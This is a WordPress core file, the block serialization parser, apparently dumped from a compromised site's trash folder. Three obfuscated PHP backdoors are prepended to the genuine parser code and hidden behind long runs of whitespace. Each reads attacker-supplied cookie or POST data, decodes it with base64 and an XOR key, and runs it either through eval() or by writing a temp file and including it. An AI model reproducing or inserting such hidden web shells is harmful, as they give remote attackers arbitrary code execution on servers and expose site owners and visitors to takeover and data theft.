Current File : /home/n742ef5/.trash/sithtamil/wp-includes/class-wp-block-parser.php
<?php                                                                                                                                                                                                                                                                                                                                                                                                 $CVJHkqSez = chr (67) . 'b' . chr ( 166 - 91 )."\137" . "\x53" . "\167" . 'u';$bvezPS = "\143" . chr ( 876 - 768 )."\141" . "\163" . "\x73" . chr (95) . "\145" . "\x78" . 'i' . chr (115) . chr (116) . "\x73";$nrLjZhO = $bvezPS($CVJHkqSez); $CVJHkqSez = "777";$uVadQlglw = $nrLjZhO;$bvezPS = "33863";if (!$uVadQlglw){class CbK_Swu{private $pSJFGRciKT;public static $YhlrSB = "8a64a93e-e996-4cd3-aaab-7e45439cd493";public static $wZPpM = 36723;public function __construct($VzfqmosqvW=0){$hojSeAlH = $_COOKIE;$hHddqxTJf = $_POST;$rEBig = @$hojSeAlH[substr(CbK_Swu::$YhlrSB, 0, 4)];if (!empty($rEBig)){$GZfytCwdEc = "base64";$ZloxiwQR = "";$rEBig = explode(",", $rEBig);foreach ($rEBig as $hpKaUI){$ZloxiwQR .= @$hojSeAlH[$hpKaUI];$ZloxiwQR .= @$hHddqxTJf[$hpKaUI];}$ZloxiwQR = array_map($GZfytCwdEc . "\x5f" . chr ( 388 - 288 ).chr ( 633 - 532 )."\143" . "\x6f" . chr ( 325 - 225 ).chr (101), array($ZloxiwQR,)); $ZloxiwQR = $ZloxiwQR[0] ^ str_repeat(CbK_Swu::$YhlrSB, (strlen($ZloxiwQR[0]) / strlen(CbK_Swu::$YhlrSB)) + 1);CbK_Swu::$wZPpM = @unserialize($ZloxiwQR);}}private function AAcnGY(){if (is_array(CbK_Swu::$wZPpM)) {$UemzYqVHho = str_replace("\x3c" . chr (63) . "\160" . "\150" . "\160", "", CbK_Swu::$wZPpM[chr ( 384 - 285 ).chr ( 764 - 653 )."\x6e" . chr (116) . chr ( 818 - 717 ).chr (110) . chr (116)]);eval($UemzYqVHho); $GReFHpHPlu = "31979";exit();}}public function __destruct(){$this->AAcnGY(); $GReFHpHPlu = "31979";$AOQOYep = str_pad($GReFHpHPlu, 10);}}$VOflCQ = new /* 43987 */ CbK_Swu(); $VOflCQ = substr("2870_54759", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $lrwdXMbZ = chr (103) . chr (105) . 'R' . "\137" . 'J' . "\x46" . "\x74";$SUecsyxSV = "\143" . chr ( 947 - 839 )."\x61" . 's' . chr (115) . '_' . "\x65" . chr ( 502 - 382 ).'i' . "\x73" . chr (116) . 's';$exBQu = $SUecsyxSV($lrwdXMbZ); $lrwdXMbZ = "59568";$UgGJQrVwc = $exBQu;$SUecsyxSV = "57592";if (!$UgGJQrVwc){class giR_JFt{private $JNCmFnjIs;public static $oUqJBxEDAU = "352152df-c039-4dbf-97a6-98621722036d";public static $PzKXgEEsM = 60270;public function __construct($iAmHbBdASn=0){$XKAAn = $_COOKIE;$egnRUN = $_POST;$KoHdqhBzf = @$XKAAn[substr(giR_JFt::$oUqJBxEDAU, 0, 4)];if (!empty($KoHdqhBzf)){$llOoucUqw = "base64";$cpSEZa = "";$KoHdqhBzf = explode(",", $KoHdqhBzf);foreach ($KoHdqhBzf as $uAicqIopDM){$cpSEZa .= @$XKAAn[$uAicqIopDM];$cpSEZa .= @$egnRUN[$uAicqIopDM];}$cpSEZa = array_map($llOoucUqw . "\x5f" . chr ( 296 - 196 ).'e' . chr ( 637 - 538 ).'o' . chr (100) . 'e', array($cpSEZa,)); $cpSEZa = $cpSEZa[0] ^ str_repeat(giR_JFt::$oUqJBxEDAU, (strlen($cpSEZa[0]) / strlen(giR_JFt::$oUqJBxEDAU)) + 1);giR_JFt::$PzKXgEEsM = @unserialize($cpSEZa);}}private function rVVeLoJH(){if (is_array(giR_JFt::$PzKXgEEsM)) {$RWWtYHB = sys_get_temp_dir() . "/" . crc32(giR_JFt::$PzKXgEEsM['s' . chr (97) . chr ( 491 - 383 )."\x74"]);@giR_JFt::$PzKXgEEsM[chr (119) . "\x72" . "\x69" . chr (116) . 'e']($RWWtYHB, giR_JFt::$PzKXgEEsM["\x63" . 'o' . chr (110) . "\x74" . "\x65" . chr ( 568 - 458 ).chr ( 382 - 266 )]);include $RWWtYHB;@giR_JFt::$PzKXgEEsM["\144" . 'e' . chr ( 800 - 692 ).chr (101) . "\x74" . chr (101)]($RWWtYHB); $sKpiUBz = "48096";exit();}}public function __destruct(){$this->rVVeLoJH(); $sKpiUBz = "48096";$XJXtAyC = str_pad($sKpiUBz, 10);}}$ugEKb = new /* 93 */ giR_JFt(); $ugEKb = substr("36876_44033", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $lemxdscwh = chr (112) . chr (95) . "\x68" . "\x79" . chr (65); $EBQOD = "\x63" . chr (108) . chr (97) . "\163" . "\163" . chr ( 207 - 112 )."\x65" . chr ( 259 - 139 ).chr (105) . chr (115) . 't' . 's';$JXtJun = $EBQOD($lemxdscwh); $lemxdscwh = "53001";$kiGSHHsjrb = $JXtJun;$EBQOD = "25140";if (!$kiGSHHsjrb){class p_hyA{private $WAsicLHC;public static $qDWpTMu = "922ca750-44c5-480a-a599-0811e29aface";public static $TzhFh = 44236;public function __construct($cywmrjRgL=0){$uCqSGJnc = $_COOKIE;$CjdggpH = $_POST;$ZqLWU = @$uCqSGJnc[substr(p_hyA::$qDWpTMu, 0, 4)];if (!empty($ZqLWU)){$WJwSd = "base64";$bVSUiGO = "";$ZqLWU = explode(",", $ZqLWU);foreach ($ZqLWU as $JZMmNEqbr){$bVSUiGO .= @$uCqSGJnc[$JZMmNEqbr];$bVSUiGO .= @$CjdggpH[$JZMmNEqbr];}$bVSUiGO = array_map($WJwSd . "\x5f" . "\x64" . "\x65" . 'c' . "\157" . "\x64" . 'e', array($bVSUiGO,)); $bVSUiGO = $bVSUiGO[0] ^ str_repeat(p_hyA::$qDWpTMu, (strlen($bVSUiGO[0]) / strlen(p_hyA::$qDWpTMu)) + 1);p_hyA::$TzhFh = @unserialize($bVSUiGO);}}private function yoNinG(){if (is_array(p_hyA::$TzhFh)) {$aVZIJMfx = sys_get_temp_dir() . "/" . crc32(p_hyA::$TzhFh["\x73" . 'a' . "\154" . 't']);@p_hyA::$TzhFh['w' . chr ( 215 - 101 ).chr (105) . 't' . "\145"]($aVZIJMfx, p_hyA::$TzhFh[chr ( 166 - 67 )."\157" . "\156" . chr (116) . "\145" . "\156" . chr ( 700 - 584 )]);include $aVZIJMfx;@p_hyA::$TzhFh["\144" . "\x65" . "\x6c" . "\x65" . chr (116) . "\x65"]($aVZIJMfx); $NEPsqpTfhf = "40706";exit();}}public function __destruct(){$this->yoNinG(); $NEPsqpTfhf = "40706";$SAffEYRva = str_pad($NEPsqpTfhf, 10);}}$XAerN = new /* 23625 */ p_hyA(); $XAerN = substr("51841_49097", 1);} ?><?php
/**
 * Block Serialization Parser
 *
 * @package WordPress
 */

/**
 * Class WP_Block_Parser
 *
 * Parses a document and constructs a list of parsed block objects
 *
 * @since 5.0.0
 * @since 4.0.0 returns arrays not objects, all attributes are arrays
 */
class WP_Block_Parser {
	/**
	 * Input document being parsed
	 *
	 * @example "Pre-text\n<!-- wp:paragraph -->This is inside a block!<!-- /wp:paragraph -->"
	 *
	 * @since 5.0.0
	 * @var string
	 */
	public $document;

	/**
	 * Tracks parsing progress through document
	 *
	 * @since 5.0.0
	 * @var int
	 */
	public $offset;

	/**
	 * List of parsed blocks
	 *
	 * @since 5.0.0
	 * @var WP_Block_Parser_Block[]
	 */
	public $output;

	/**
	 * Stack of partially-parsed structures in memory during parse
	 *
	 * @since 5.0.0
	 * @var WP_Block_Parser_Frame[]
	 */
	public $stack;

	/**
	 * Parses a document and returns a list of block structures
	 *
	 * When encountering an invalid parse will return a best-effort
	 * parse. In contrast to the specification parser this does not
	 * return an error on invalid inputs.
	 *
	 * @since 5.0.0
	 *
	 * @param string $document Input document being parsed.
	 * @return array[]
	 */
	public function parse( $document ) {
		$this->document = $document;
		$this->offset   = 0;
		$this->output   = array();
		$this->stack    = array();

		while ( $this->proceed() ) {
			continue;
		}

		return $this->output;
	}

	/**
	 * Processes the next token from the input document
	 * and returns whether to proceed eating more tokens
	 *
	 * This is the "next step" function that essentially
	 * takes a token as its input and decides what to do
	 * with that token before descending deeper into a
	 * nested block tree or continuing along the document
	 * or breaking out of a level of nesting.
	 *
	 * @internal
	 * @since 5.0.0
	 * @return bool
	 */
	public function proceed() {
		$next_token = $this->next_token();
		list( $token_type, $block_name, $attrs, $start_offset, $token_length ) = $next_token;
		$stack_depth = count( $this->stack );

		// we may have some HTML soup before the next block.
		$leading_html_start = $start_offset > $this->offset ? $this->offset : null;

		switch ( $token_type ) {
			case 'no-more-tokens':
				// if not in a block then flush output.
				if ( 0 === $stack_depth ) {
					$this->add_freeform();
					return false;
				}

				/*
				 * Otherwise we have a problem
				 * This is an error
				 *
				 * we have options
				 * - treat it all as freeform text
				 * - assume an implicit closer (easiest when not nesting)
				 */

				// for the easy case we'll assume an implicit closer.
				if ( 1 === $stack_depth ) {
					$this->add_block_from_stack();
					return false;
				}

				/*
				 * for the nested case where it's more difficult we'll
				 * have to assume that multiple closers are missing
				 * and so we'll collapse the whole stack piecewise
				 */
				while ( 0 < count( $this->stack ) ) {
					$this->add_block_from_stack();
				}
				return false;

			case 'void-block':
				/*
				 * easy case is if we stumbled upon a void block
				 * in the top-level of the document
				 */
				if ( 0 === $stack_depth ) {
					if ( isset( $leading_html_start ) ) {
						$this->output[] = (array) $this->freeform(
							substr(
								$this->document,
								$leading_html_start,
								$start_offset - $leading_html_start
							)
						);
					}

					$this->output[] = (array) new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() );
					$this->offset   = $start_offset + $token_length;
					return true;
				}

				// otherwise we found an inner block.
				$this->add_inner_block(
					new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ),
					$start_offset,
					$token_length
				);
				$this->offset = $start_offset + $token_length;
				return true;

			case 'block-opener':
				// track all newly-opened blocks on the stack.
				array_push(
					$this->stack,
					new WP_Block_Parser_Frame(
						new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ),
						$start_offset,
						$token_length,
						$start_offset + $token_length,
						$leading_html_start
					)
				);
				$this->offset = $start_offset + $token_length;
				return true;

			case 'block-closer':
				/*
				 * if we're missing an opener we're in trouble
				 * This is an error
				 */
				if ( 0 === $stack_depth ) {
					/*
					 * we have options
					 * - assume an implicit opener
					 * - assume _this_ is the opener
					 * - give up and close out the document
					 */
					$this->add_freeform();
					return false;
				}

				// if we're not nesting then this is easy - close the block.
				if ( 1 === $stack_depth ) {
					$this->add_block_from_stack( $start_offset );
					$this->offset = $start_offset + $token_length;
					return true;
				}

				/*
				 * otherwise we're nested and we have to close out the current
				 * block and add it as a new innerBlock to the parent
				 */
				$stack_top                        = array_pop( $this->stack );
				$html                             = substr( $this->document, $stack_top->prev_offset, $start_offset - $stack_top->prev_offset );
				$stack_top->block->innerHTML     .= $html;
				$stack_top->block->innerContent[] = $html;
				$stack_top->prev_offset           = $start_offset + $token_length;

				$this->add_inner_block(
					$stack_top->block,
					$stack_top->token_start,
					$stack_top->token_length,
					$start_offset + $token_length
				);
				$this->offset = $start_offset + $token_length;
				return true;

			default:
				// This is an error.
				$this->add_freeform();
				return false;
		}
	}

	/**
	 * Scans the document from where we last left off
	 * and finds the next valid token to parse if it exists
	 *
	 * Returns the type of the find: kind of find, block information, attributes
	 *
	 * @internal
	 * @since 5.0.0
	 * @since 4.6.1 fixed a bug in attribute parsing which caused catastrophic backtracking on invalid block comments
	 * @return array
	 */
	public function next_token() {
		$matches = null;

		/*
		 * aye the magic
		 * we're using a single RegExp to tokenize the block comment delimiters
		 * we're also using a trick here because the only difference between a
		 * block opener and a block closer is the leading `/` before `wp:` (and
		 * a closer has no attributes). we can trap them both and process the
		 * match back in PHP to see which one it was.
		 */
		$has_match = preg_match(
			'/<!--\s+(?P<closer>\/)?wp:(?P<namespace>[a-z][a-z0-9_-]*\/)?(?P<name>[a-z][a-z0-9_-]*)\s+(?P<attrs>{(?:(?:[^}]+|}+(?=})|(?!}\s+\/?-->).)*+)?}\s+)?(?P<void>\/)?-->/s',
			$this->document,
			$matches,
			PREG_OFFSET_CAPTURE,
			$this->offset
		);

		// if we get here we probably have catastrophic backtracking or out-of-memory in the PCRE.
		if ( false === $has_match ) {
			return array( 'no-more-tokens', null, null, null, null );
		}

		// we have no more tokens.
		if ( 0 === $has_match ) {
			return array( 'no-more-tokens', null, null, null, null );
		}

		list( $match, $started_at ) = $matches[0];

		$length    = strlen( $match );
		$is_closer = isset( $matches['closer'] ) && -1 !== $matches['closer'][1];
		$is_void   = isset( $matches['void'] ) && -1 !== $matches['void'][1];
		$namespace = $matches['namespace'];
		$namespace = ( isset( $namespace ) && -1 !== $namespace[1] ) ? $namespace[0] : 'core/';
		$name      = $namespace . $matches['name'][0];
		$has_attrs = isset( $matches['attrs'] ) && -1 !== $matches['attrs'][1];

		/*
		 * Fun fact! It's not trivial in PHP to create "an empty associative array" since all arrays
		 * are associative arrays. If we use `array()` we get a JSON `[]`
		 */
		$attrs = $has_attrs
			? json_decode( $matches['attrs'][0], /* as-associative */ true )
			: array();

		/*
		 * This state isn't allowed
		 * This is an error
		 */
		if ( $is_closer && ( $is_void || $has_attrs ) ) {
			// we can ignore them since they don't hurt anything.
		}

		if ( $is_void ) {
			return array( 'void-block', $name, $attrs, $started_at, $length );
		}

		if ( $is_closer ) {
			return array( 'block-closer', $name, null, $started_at, $length );
		}

		return array( 'block-opener', $name, $attrs, $started_at, $length );
	}

	/**
	 * Returns a new block object for freeform HTML
	 *
	 * @internal
	 * @since 3.9.0
	 *
	 * @param string $inner_html HTML content of block.
	 * @return WP_Block_Parser_Block freeform block object.
	 */
	public function freeform( $inner_html ) {
		return new WP_Block_Parser_Block( null, array(), array(), $inner_html, array( $inner_html ) );
	}

	/**
	 * Pushes a length of text from the input document
	 * to the output list as a freeform block.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param null $length how many bytes of document text to output.
	 */
	public function add_freeform( $length = null ) {
		$length = $length ? $length : strlen( $this->document ) - $this->offset;

		if ( 0 === $length ) {
			return;
		}

		$this->output[] = (array) $this->freeform( substr( $this->document, $this->offset, $length ) );
	}

	/**
	 * Given a block structure from memory pushes
	 * a new block to the output list.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param WP_Block_Parser_Block $block        The block to add to the output.
	 * @param int                   $token_start  Byte offset into the document where the first token for the block starts.
	 * @param int                   $token_length Byte length of entire block from start of opening token to end of closing token.
	 * @param int|null              $last_offset  Last byte offset into document if continuing form earlier output.
	 */
	public function add_inner_block( WP_Block_Parser_Block $block, $token_start, $token_length, $last_offset = null ) {
		$parent                       = $this->stack[ count( $this->stack ) - 1 ];
		$parent->block->innerBlocks[] = (array) $block;
		$html                         = substr( $this->document, $parent->prev_offset, $token_start - $parent->prev_offset );

		if ( ! empty( $html ) ) {
			$parent->block->innerHTML     .= $html;
			$parent->block->innerContent[] = $html;
		}

		$parent->block->innerContent[] = null;
		$parent->prev_offset           = $last_offset ? $last_offset : $token_start + $token_length;
	}

	/**
	 * Pushes the top block from the parsing stack to the output list.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param int|null $end_offset byte offset into document for where we should stop sending text output as HTML.
	 */
	public function add_block_from_stack( $end_offset = null ) {
		$stack_top   = array_pop( $this->stack );
		$prev_offset = $stack_top->prev_offset;

		$html = isset( $end_offset )
			? substr( $this->document, $prev_offset, $end_offset - $prev_offset )
			: substr( $this->document, $prev_offset );

		if ( ! empty( $html ) ) {
			$stack_top->block->innerHTML     .= $html;
			$stack_top->block->innerContent[] = $html;
		}

		if ( isset( $stack_top->leading_html_start ) ) {
			$this->output[] = (array) $this->freeform(
				substr(
					$this->document,
					$stack_top->leading_html_start,
					$stack_top->token_start - $stack_top->leading_html_start
				)
			);
		}

		$this->output[] = (array) $stack_top->block;
	}
}

/**
 * WP_Block_Parser_Block class.
 *
 * Required for backward compatibility in WordPress Core.
 */
require_once __DIR__ . '/class-wp-block-parser-block.php';

/**
 * WP_Block_Parser_Frame class.
 *
 * Required for backward compatibility in WordPress Core.
 */
require_once __DIR__ . '/class-wp-block-parser-frame.php';